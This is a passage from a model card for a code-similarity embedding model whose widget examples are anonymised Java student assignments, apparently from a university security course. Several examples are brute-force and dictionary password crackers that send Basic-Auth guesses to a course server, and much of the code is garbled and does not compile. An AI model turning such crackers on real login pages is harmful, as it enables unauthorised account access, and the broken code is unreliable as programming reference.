File size: 130,238 Bytes
9e51e85 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 |
---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:38664
- loss:MultipleNegativesRankingLoss
base_model: microsoft/unixcoder-base-unimodal
widget:
- source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class sendMail\
\ {\n\npublic void sendMail(String mailServer, String recipient, String result)\
\ {\n try {\n Socket s = new Socket(mailServer, 25);\n BufferedReader\
\ in = new BufferedReader\n (new InputStreamReader(s.getInputStream(),\
\ \"8859_1\"));\n BufferedWriter out = new BufferedWriter\n (new\
\ OutputStreamWriter(s.getOutputStream(), \"8859_1\"));\n\n send(in, out,\
\ \"HELO client\");\n\n send(in, out, \"MAIL FROM: <WatchDog@SecureECommerce.>\"\
);\n send(in, out, \"RCPT : \" + recipient);\n send(in, out, \"DATA\"\
);\n send(out, \"Subject: \");\n send(out, \"From: Admin <WatchDog@SecureECommerce.>\"\
);\n send (out, \"\\n\");\n \n send(out, result);\n send(out,\
\ \"\\n.\\n\");\n send(in, out, \"QUIT\");\n\n }\n catch (Exception\
\ e) {\n e.printStackTrace();\n }\n }\n\n public void send(BufferedReader\
\ in, BufferedWriter out, String s) {\n try {\n out.write(s + \"\\n\");\n\
\ out.flush();\n System.out.println(s);\n s = in.readLine();\n\
\ System.out.println(s);\n }\n catch (Exception e) {\n e.printStackTrace();\n\
\ }\n }\n\n public void send(BufferedWriter out, String s) {\n try {\n\
\ out.write(s + \"\\n\");\n out.flush();\n System.out.println(s);\n\
\ }\n catch (Exception e) {\n e.printStackTrace();\n }\n }\n\
}"
sentences:
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\
\ for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++)\
\ {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] ==\
\ ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k]\
\ != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\
\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\
\t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t\
\ System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break\
\ exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n\
\ }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader\
\ in = new BufferedReader(\n new InputStreamReader\n (connectURL(new\
\ URL(args[0]), args[1], args[2])));\n String line;\n while ((line\
\ = in.readLine()) != null) {\n System.out.println(line);\n \
\ status = true;\n }\n }\n catch (IOException e) {\n \n\
\ }\n }\n\n public InputStream connectURL (URL url, String uname,\
\ String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\
\t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't',\
\ 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t \
\ 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R',\
\ 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\nimport java.io.*;\n\npublic class PasswordFile {\n \n private String\
\ strFilepath;\n private String strCurrWord;\n private File fWordFile;\n\
\ private BufferedReader in;\n \n \n public PasswordFile(String filepath)\
\ {\n strFilepath = filepath;\n try {\n fWordFile = new\
\ File(strFilepath);\n in = new BufferedReader(new FileReader(fWordFile));\n\
\ }\n catch(Exception e)\n {\n System.out.println(\"\
Could not open file \" + strFilepath);\n }\n }\n \n String getPassword()\
\ {\n return strCurrWord;\n }\n \n String getNextPassword() {\n\
\ try {\n strCurrWord = in.readLine();\n \n \
\ \n \n }\n catch (Exception e)\n {\n \
\ \n return null;\n }\n \n return\
\ strCurrWord;\n }\n \n}\n"
- "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class SendEMail {\n\n public\
\ void SendEMail(){}\n\npublic void sendMail(String recipient,String c, String\
\ subject){\n try {\n\n Socket s = new Socket(\"yallara.cs.rmit.edu.\"\
, 25);\n BufferedReader in = new BufferedReader\n (new InputStreamReader(s.getInputStream(),\
\ \"8859_1\"));\n BufferedWriter out = new BufferedWriter\n (new\
\ OutputStreamWriter(s.getOutputStream(), \"8859_1\"));\n\n send(in, out,\
\ \"HELO theWorld\");\n \n \n send(in, out, \"MAIL FROM: <watch@dog.>\"\
);\n send(in, out, \"RCPT : \"+recipient);\n send(in, out, \"DATA\"\
);\n send(out, \"Subject: \"+ subject);\n send(out, \"From: WatchDog.java\"\
);\n send (out, \"\\n\");\n \n BufferedReader reader;\n String\
\ line;\n reader = new BufferedReader(new InputStreamReader(new FileInputStream()));\n\
\ line = reader.readLine();\n while (line != null){\n send(out,\
\ line);\n line = reader.readLine();\n }\n send(out, \"\\n.\\\
n\");\n send(in, out, \"QUIT\");\n s.print();\n }\n catch (Exception\
\ e) {\n e.printStackTrace();\n }\n }\n\n public void send(BufferedReader\
\ in, BufferedWriter out, String s) {\n try {\n out.write(s + \"\\n\");\n\
\ out.flush();\n System.out.println(s);\n s = in.readLine();\n\
\ System.out.println(s);\n }\n catch (Exception e) {\n e.printStackTrace();\n\
\ }\n }\n\n public void send(BufferedWriter out, String s) {\n try {\n\
\ out.write(s + \"\\n\");\n out.flush();\n System.out.println(s);\n\
\ }\n catch (Exception e) {\n e.printStackTrace();\n }\n }\n\
}"
- source_sentence: "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\n\
import java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n private\
\ URL url;\n private HttpURLConnection connection ;\n private int stopTime\
\ = 0;\n private int startTime = 0;\n private int count = 0;\n\n public\
\ BruteForce()\n {\n System.out.println(\"Process is running...\");\n \
\ startTime = System.currentTimeMillis();\n threeLetters();\n twoLetters();\n\
\ }\n\n public static void main (String args[])\n {\n BruteForce bf\
\ = new BruteForce();\n }\n \n public void threeLetters()\n {\n String\
\ s1;\n char [] a = {'a','a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n\
\ {\n for (int i1 = 0; i1 < 26; i1++)\n {\n for\
\ (int i2 = 0; i2 < 26; i2++)\n {\n s1 = String.valueOf((char)(a[0]\
\ + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\
\ + i2));\n decision(s1);\n count++;\n\n \
\ s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1))\
\ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
\ decision(s1);\n count++;\n\n s1 =\
\ String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\
\ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
\ decision(s1);\n count++;\n\n s1 =\
\ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\
\ + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
\ decision(s1);\n count++;\n\n s1 =\
\ (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\
\ +\n String.valueOf((char)(a[2] + i2));\n decision(s1);\n\
\ count++;\n\n s1 = (String.valueOf((char)(a[0] +\
\ i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\
\ + i2));\n decision(s1);\n count++;\n\n \
\ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1]\
\ + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
\ decision(s1);\n count++;\n\n s1 =\
\ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\
\ + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n decision(s1);\n\
\ count++;\n }\n }\n }\n }\n \n public\
\ void twoLetters()\n {\n String s1;\n char [] a = {'a','a'};\n\n\
\ for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1\
\ < 26; i1++)\n {\n s1 = String.valueOf((char)(a[0] + i0))\
\ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \
\ count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1]\
\ + i1)).toUpperCase();\n decision(s1);\n count++;\n\n \
\ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n \
\ (String.valueOf((char)(a[1] + i1))).toUpperCase();\n decision(s1);\n\
\ count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase()\
\ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \
\ count++;\n }\n }\n }\n\n \n public void decision(String\
\ s1)\n {\n if (find(s1) == 200)\n {\n stopTime = System.currentTimeMillis();\n\
\ runTime = stopTime - startTime;\n System.out.println(\"***************************************\"\
);\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\
\\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the\
\ Web site: \");\n displayContent(s1);\n System.out.println(\"\
\\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\
\\nNumber of attempts: \" + count);\n System.out.println();\n\n \
\ System.exit(0);\n }\n }\n \n \n public int find(String s1)\n\
\ {\n int responseCode = 0;\n try\n {\n url = new URL(\"\
http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\
\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\
\" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n\
\ }catch (Exception e)\n {\n System.out.println(e.getMessage());\n\
\ }\n return responseCode;\n }\n\n \n public void displayContent(String\
\ pw)\n {\n BufferedReader bw = null ;\n try\n {\n url\
\ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection =\
\ (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"\
Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream\
\ stream = (InputStream)(connection.getContent());\n if (stream != null)\n\
\ {\n InputStreamReader reader = new InputStreamReader (stream);\n\
\ bw = new BufferedReader (reader);\n String line;\n\n\
\ while ((line = bw.readLine()) != null)\n {\n \
\ System.out.println(line);\n }\n }\n }\n \
\ catch (IOException e)\n {\n System.out.println(e.getMessage());\n\
\ }\n }\n}\n\n\n\n\n"
sentences:
- "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\
\nclass BruteForce {\n\n String password=\"\";\n\n int num =401;\n\n\n \
\ public static void main (String[] args) {\n\n String str=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
;\n\n BruteForce URLcon;\n\n int length = 0;\n\n String passwd=\"\
\";\n\n int t0,t1;\n\n \n if (args.length == 0) {\n \t\n\
\ \tSystem.err.println (\n \t\t\n \t\t\"Usage : java BruteForce\
\ <username>\");\n \treturn;\n \t\n \t}\n String username\
\ = args[0];\n \n\n t0=System.currentTimeMillis();\n\n System.out.println\
\ (\" \" + new Date());\n \n System.out.println (\"Using BruteForce\
\ method attack \"+username+\"'s password.Please waiting.......\");\n\n \
\ for (int i=0;i<str.length();i++){\n\n passwd=str.substring(i,i+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401)\
\ {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"\
The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n\n\n \
\ \tSystem.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+\
\ \" seconds.\");\n\n System.out.println (\"Finish \" + new Date());\n\
\ \n \treturn;\n\n }\n\n for\
\ (int j=0;j<str.length();j++){\n\n passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n \
\ if ((URLcon.num)!=401) {\n\n \t t1=System.currentTimeMillis();\n\
\n System.out.println(\"The password: \"+ passwd);\n\n\n \
\ double dt =t1-t0;\n\n\n\n System.out.println(\"\
It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \
\ System.out.println (\"Finish \" + new Date());\n \
\ \t return;\n\n }\n for (int m=0;m<str.length();m++){\n\
\n passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n \
\ if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\
\n System.out.println(\"The password: \"+ passwd);\n\n\n \
\ \t double dt =t1-t0;\n\n\n\n \tSystem.out.println(\"\
It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \
\ \n System.out.println (\"Finish \" + new\
\ Date());\n \n \t return;\n\n \
\ }\n\n\n }\n\n}\n}\n System.out.println(\" not find the\
\ password\");\n\n}\n\n public BruteForce (String password, String username){\n\
\n \t String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \
\ \n\n try {\n\n String userPassword = username+\":\"+password ;\n\
\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\
\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection)\
\ url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \"\
\ \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n \
\ catch(MalformedURLException e){\n \t System.out.println(e);\n \
\ }catch(IOException e){\n System.out.println(e);\n }\n\n\n \
\ }\n}"
- "\n\n\n\npublic class HoldSharedData\n{\n private int numOfConnections\
\ = 0;\n private int startTime;\n private int totalTime = 0;\n \
\ private String[] password;\n private int pwdCount;\n\n public HoldSharedData(\
\ int time, String[] pwd, int count )\n {\n startTime = time;\n\n \
\ password = pwd;\n pwdCount = count;\n }\n\n public int getPwdCount()\n\
\ {\n return pwdCount;\n }\n\n public void setNumOfConnections(\
\ )\n {\n numOfConnections ++;\n }\n\n public int getNumOfConnections()\n\
\ {\n return numOfConnections;\n }\n\n public int getStartTime()\n\
\ {\n return startTime;\n }\n\n public void setTotalTime( int\
\ newTotalTime )\n {\n totalTime = newTotalTime;\n }\n\n public\
\ int getTotalTime()\n {\n return totalTime;\n }\n\n public String\
\ getPasswordAt( int index )\n {\n return password[index];\n }\n\
} \n"
- "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\nimport java.io.*;\n\
import java.net.*;\n\n\n\npublic class Dictionary\n{\n private URL url;\n \
\ private HttpURLConnection connection ;\n private int stopTime = 0;\n private\
\ int startTime = 0;\n private int count = 0;\n\n public Dictionary()\n \
\ {\n System.out.println(\"Process is running...\");\n startTime = System.currentTimeMillis();\n\
\ findWords();\n }\n\n public static void main(String args[])\n {\n\
\ Dictionary sc = new Dictionary();\n }\n \n \n public void findWords()\n\
\ {\n try\n {\n BufferedReader input = new BufferedReader(new\
\ FileReader (\"words\"));\n String text;\n while ((text = input.readLine())\
\ != null)\n {\n if ((text.length() == 3) || (text.length()\
\ == 2))\n {\n count++;\n decision(text);\n\
\ }\n\n }\n\n }\n catch (IOException io)\n \
\ {\n System.out.println(\"File Error: \" + io.getMessage());\n }\n\
\ }\n \n \n public void decision(String s1)\n {\n if (find(s1)\
\ == 200)\n {\n stopTime = System.currentTimeMillis();\n \
\ runTime = stopTime - startTime;\n System.out.println(\"***************************************\"\
);\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\
\\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the\
\ Web site: \");\n displayContent(s1);\n System.out.println(\"\
\\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\
\\nNumber of attempts: \" + count);\n System.out.println();\n\n \
\ System.exit(0);\n }\n }\n \n \n public int find(String s1)\n\
\ {\n int responseCode = 0;\n try\n {\n url = new URL(\"\
http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\
\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\
\" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n\
\ }catch (Exception e)\n {\n System.out.println(e.getMessage());\n\
\ }\n return responseCode;\n }\n \n public void displayContent(String\
\ pw)\n {\n BufferedReader bw = null ;\n try\n {\n url\
\ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection =\
\ (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"\
Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream\
\ stream = (InputStream)(connection.getContent());\n if (stream != null)\n\
\ {\n InputStreamReader reader = new InputStreamReader (stream);\n\
\ bw = new BufferedReader (reader);\n String line;\n\n\
\ while ((line = bw.readLine()) != null)\n {\n \
\ System.out.println(line);\n }\n }\n }\n \
\ catch (IOException e)\n {\n System.out.println(e.getMessage());\n\
\ }\n }\n}\n\n\n\n\n"
- source_sentence: "\nimport java.net.*;\nimport java.io.*;\nimport java.Ostermiller.util.*;\n\
import java.util.*;\n\npublic class MyClient1 implements Runnable\n{\n private\
\ String hostname;\n private int port;\n private String filename;\n private\
\ Socket s;\n private int n;\n private InputStream sin;\n private OutputStream\
\ sout;\n private int dif;\n private String myPassword;\n private int status;\n\
\ private int myTime;\n private Dictionary myMaster;\n \n\n public MyClient1(Dictionary\
\ dic, int num, int myPort, String password)\n {\n \n hostname = new\
\ String(\"sec-crack.cs.rmit.edu.\");\n port = myPort;\n status = 0;\n\
\ myTime = 0;\n myPassword = password;\n filename = new String(\"\
/SEC/2/\");\n myMaster = 0;\n n = num;\n dif = 0;\n \n }\n\
\ public getDif()\n {\n return dif;\n }\n public int getStatus()\n\
\ {\n return status;\n }\n public void run() \n {\n String inputLine;\n\
\ String[] tokens = new String[5];\n int i;\n myTime = 0;\n \
\ finish = 0;\n start = System.currentTimeMillis();\n try\n \
\ {\n s = new Socket( hostname, port);\n }catch( UnknownHostException\
\ e)\n {\n System.out.println(\"'t find host\");\n }catch( IOException\
\ e)\n {\n System.out.println(\"Error connecting host \"+n);\n\
\t return;\n }\n while(s.isConnected() == false)\n continue;\n\
\ \n finish = System.currentTimeMillis();\n dif = finish - start;\n\
\ \n try\n {\n sin = s.getInputStream();\n }catch(\
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\
\ }\n BufferedReader fromServer = new BufferedReader(new InputStreamReader(\
\ ));\n try\n {\n sout = s.getOutputStream();\n }catch(\
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\
\ }\n \n PrintWriter toServer = new PrintWriter( new OutputStreamWriter(\
\ sout));\n toServer.print(\"GET \"+filename+\" HTTP/1.0\\r\\n\"+\"Authorization:\
\ \"+Base64.encode(\"\"+\":\"+myPassword)+\"\\r\\n\\r\\n\");\n toServer.flush();\n\
\ \n try\n {\n inputLine = fromServer.readLine();\n \
\ }catch( IOException e)\n {\n System.out.println(\"'t open stream\"\
);\n\t inputLine = null;\n }\n \n java.util.StringTokenizer \
\ = new java.util.StringTokenizer( inputLine, \" \");\n i = 0;\n while(bf.hasMoreTokens())\n\
\ {\n tokens[i] =bf .nextToken();\n\t i++;\n }\n status\
\ = Integer.parseInt( tokens[1]);\n myTime = System.currentTimeMillis();\n\
\ if( status == 200)\n {\n System.out.println(\"Ok \"+myPassword);\n\
\t myMaster.retire( this);\n }\n \n toServer.send();\n try\n\
\ {\n fromServer.recieve();\n }catch( IOException e)\n \
\ {\n System.out.println(\"'t open stream\");\n }\n try\n\
\ {\n s.connect();\n }catch( IOException e)\n {\n \
\ System.out.println(\"'t connection\");\n\t System.exit(0);\n }\n\
\ }\n public getTime()\n {\n return myTime;\n }\n \n}\n"
sentences:
- "import java.net.*;\nimport java.io.*;\nimport java.*;\nimport java.Runtime.*;\n\
import java.Object.*;\nimport java.util.*;\nimport java.util.StringTokenizer;\n\
\n\npublic class ReadFile\n{\n private StringTokenizer tokenizer;\n private\
\ BufferedReader bf;\n private String line;\n private String first;\n Vector\
\ in = new Vector();\n \n public void loadFile()throws NoSuchElementException,\
\ IOException\n {\n System.out.println(\"in loadFile\");\n try{\n bf\
\ = new BufferedReader(new FileReader(\"words\"));\n }\n catch(FileNotFoundException\
\ fe){}\n catch(IOException io){}\n while((line = bf.readLine())!=null)\n\
\ {\n\n int index = 0;\n tokenizer = new StringTokenizer(line);\n\
\ try\n\t {\n\t first = tokenizer.nextToken();\n\t \n\t \n\
\t if (first.length() == 3)\n\t {\n\t\tin.add(first);\n\t }\n\t }\n\
\ catch(NoSuchElementException n)\n\t {\n System.out.println(\"\
File Loaded Succesfully\");\n\n }\n\n }\n }\n public Vector getVector()\n\
\ {\n return in;\n }\n public static void main (String args[])\n {\n\
\ Vector v = new Vector();\n try\n {\n System.out.println(\"\
in \");\n\t ReadFile rf = new ReadFile();\n rf.loadFile();\n v =\
\ rf.getVector();\n\t \n }\n catch(IOException e)\n {\n System.out.println(e);\n\
\ }\n System.out.println(\"size:\" + v.size());\n for (int i = 0;\
\ i< v.size(); i++)\n {\n System.out.println(i+1+ \":\" + v.elementAt(i));\n\
\ }\n \n \n }\n \n}\n"
- "\nimport java.net.*;\nimport java.io.*;\nimport java.Ostermiller.util.*;\nimport\
\ java.util.*;\n\npublic class MyClient2 implements Runnable\n{\n private String\
\ hostname;\n private int port;\n private String filename;\n private Socket\
\ s;\n private int n;\n private InputStream sin;\n private OutputStream\
\ sout;\n private int dif;\n private String myPassword;\n private int status;\n\
\ private int myTime;\n private BruteForce myMaster;\n \n\n public MyClient2(BruteForce\
\ bf , int num, int myPort, String password)\n {\n \n hostname = new\
\ String(\"sec-crack.cs.rmit.edu.\");\n port = myPort;\n status = 0;\n\
\ myTime = 0;\n myPassword = password;\n filename = new String(\"\
